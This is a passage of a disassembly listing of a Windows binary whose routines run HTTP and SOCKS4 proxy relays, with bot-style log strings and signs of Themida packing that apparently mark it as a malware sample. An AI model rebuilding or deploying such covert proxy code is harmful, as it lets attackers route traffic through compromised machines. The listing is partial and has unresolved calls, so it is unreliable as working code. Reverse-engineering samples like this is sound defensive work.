		dd 75000027h, 90016A0Dh, 498BC7E8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42928F:				; CODE XREF: sub_428360+CA6j
		or	esi, 0FFFFFFFFh


loc_429292:				; CODE XREF: sub_428360+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_4292B2
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_4292B2:				; CODE XREF: sub_428360+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429320:				; CODE XREF: sub_428360+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_428398


loc_42932C:				; CODE XREF: sub_428360+1074j
					; sub_428360+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429349
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_429349:				; CODE XREF: sub_428360+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_429364
		mov	ecx, [ebp+0BFh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi


loc_429364:				; CODE XREF: sub_428360+FEFj
					; sub_428360+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42937D:				; CODE XREF: sub_428360+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_42938E:				; CODE XREF: sub_428360+3D7j
		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226


loc_42939F:				; CODE XREF: sub_428360+191j
					; sub_428360+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_4293B0:				; CODE XREF: sub_428360+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42932C
; ---------------------------------------------------------------------------


loc_4293D9:				; CODE XREF: sub_428360+503j
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		jmp	loc_42954A
; ---------------------------------------------------------------------------


loc_4293EB:				; CODE XREF: sub_428360+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_429548
; ---------------------------------------------------------------------------


loc_429448:				; CODE XREF: sub_428360+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_429492:				; CODE XREF: sub_428360+711j
					; sub_428360+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_429548
; ---------------------------------------------------------------------------


loc_4294AD:				; CODE XREF: sub_428360+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_42954A
; ---------------------------------------------------------------------------


loc_4294BF:				; CODE XREF: sub_428360+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42932C
; ---------------------------------------------------------------------------


loc_429532:				; CODE XREF: sub_428360+D45j
					; sub_428360+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_429548:				; CODE XREF: sub_428360+10E3j
					; sub_428360+1148j
		call	esi	; closesocket


loc_42954A:				; CODE XREF: sub_428360+1086j
					; sub_428360+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_429364
sub_428360	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429AD0:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429AE8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429AE8:				; CODE XREF: ___:00429ADDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429B00	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429B1B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429B1B:				; CODE XREF: sub_429B00+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429B00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429B40	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429B40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429B63:				; CODE XREF: sub_429B40+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429B8A
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429B63


loc_429B8A:				; CODE XREF: sub_429B40+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429C5C
		push	ebp
		push	esi


loc_429BA0:				; CODE XREF: sub_429B40+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429C3B
		test	ebp, ebp
		jz	short loc_429C3B
		push	0C3h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429BE6
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429BE8
; ---------------------------------------------------------------------------


loc_429BE6:				; CODE XREF: sub_429B40+99j
		xor	esi, esi


loc_429BE8:				; CODE XREF: sub_429B40+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429C46
; ---------------------------------------------------------------------------


loc_429C3B:				; CODE XREF: sub_429B40+74j
					; sub_429B40+7Cj
		push	0FAh
		nop
		call	near ptr 28C1E38h


loc_429C46:				; CODE XREF: sub_429B40+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429BA0
		pop	esi
		pop	ebp


loc_429C5C:				; CODE XREF: sub_429B40+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429C6E
		push	edi
		nop
		call	near ptr 71AB9639h


loc_429C6E:				; CODE XREF: sub_429B40+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429B40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429CD0	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429CF8
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429D03
; ---------------------------------------------------------------------------


loc_429CF8:				; CODE XREF: sub_429CD0+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429D03:				; CODE XREF: sub_429CD0+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429CD0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DA0	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429DA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429E10:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429E28
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429E28:				; CODE XREF: ___:00429E1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429E40	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429E40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429E60	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429EA1
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429EA1:				; CODE XREF: sub_429E60+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42A08C
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429EDE
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429EDE:				; CODE XREF: sub_429E60+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42A08C
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429F79
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax


loc_429F68:				; DATA XREF: Themida_:0061EA84o
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429F79:				; CODE XREF: sub_429E60+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_429FD6:				; CODE XREF: sub_429E60+1AFj
					; sub_429E60+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42A07A
		jge	short loc_42A011
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42A011
		push	0Ah
		nop
		call	near ptr 28C1E38h
		jmp	short loc_429FD6
; ---------------------------------------------------------------------------


loc_42A011:				; CODE XREF: sub_429E60+198j
					; sub_429E60+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42A07A
		jge	short loc_42A063
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42A063
		push	0Ah
		nop
		call	near ptr 28C1E38h
		jmp	loc_429FD6
; ---------------------------------------------------------------------------


loc_42A063:				; CODE XREF: sub_429E60+1E7j
					; sub_429E60+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	near ptr 71AB428Ah
		nop
		jmp	loc_429FD6
; ---------------------------------------------------------------------------


loc_42A07A:				; CODE XREF: sub_429E60+192j
					; sub_429E60+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42A08C:				; CODE XREF: sub_429E60+46j
					; sub_429E60+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429E60	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A130	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A1A0	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A1B8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A1B8:				; CODE XREF: sub_42A1A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A1A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A1D0	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A1D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A1F0	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A1F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A3F9
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42A2C6
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A2C6:				; CODE XREF: sub_42A1F0+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A3B0


loc_42A2DC:				; CODE XREF: sub_42A1F0+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A300
		push	0FAh
		call	near ptr 28C1E38h
		nop
		jmp	loc_42A39C
; ---------------------------------------------------------------------------


loc_42A300:				; CODE XREF: sub_42A1F0+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A3B0
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A3B0
		push	0A5h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A34E
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A34E:				; CODE XREF: sub_42A1F0+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A39C:				; CODE XREF: sub_42A1F0+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A2DC


loc_42A3B0:				; CODE XREF: sub_42A1F0+E6j
					; sub_42A1F0+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A3C4
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42A3C4:				; CODE XREF: sub_42A1F0+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 1Ch


loc_42A3F9:				; CODE XREF: sub_42A1F0+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A1F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A4A0	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jz	short loc_42A4C1
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A4C1:				; CODE XREF: sub_42A4A0+Dj
		xor	al, al
		retn	8
sub_42A4A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A4E0	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A501:				; CODE XREF: sub_42A4E0+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A51A:				; CODE XREF: sub_42A4E0+45j
		cmp	[ecx], ebx
		jz	short loc_42A527
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A51A


loc_42A527:				; CODE XREF: sub_42A4E0+3Cj
		cmp	eax, 1
		jnz	short loc_42A538
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A538:				; CODE XREF: sub_42A4E0+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42A5C3
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A5C3
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_437000
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A56C
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A56E
; ---------------------------------------------------------------------------

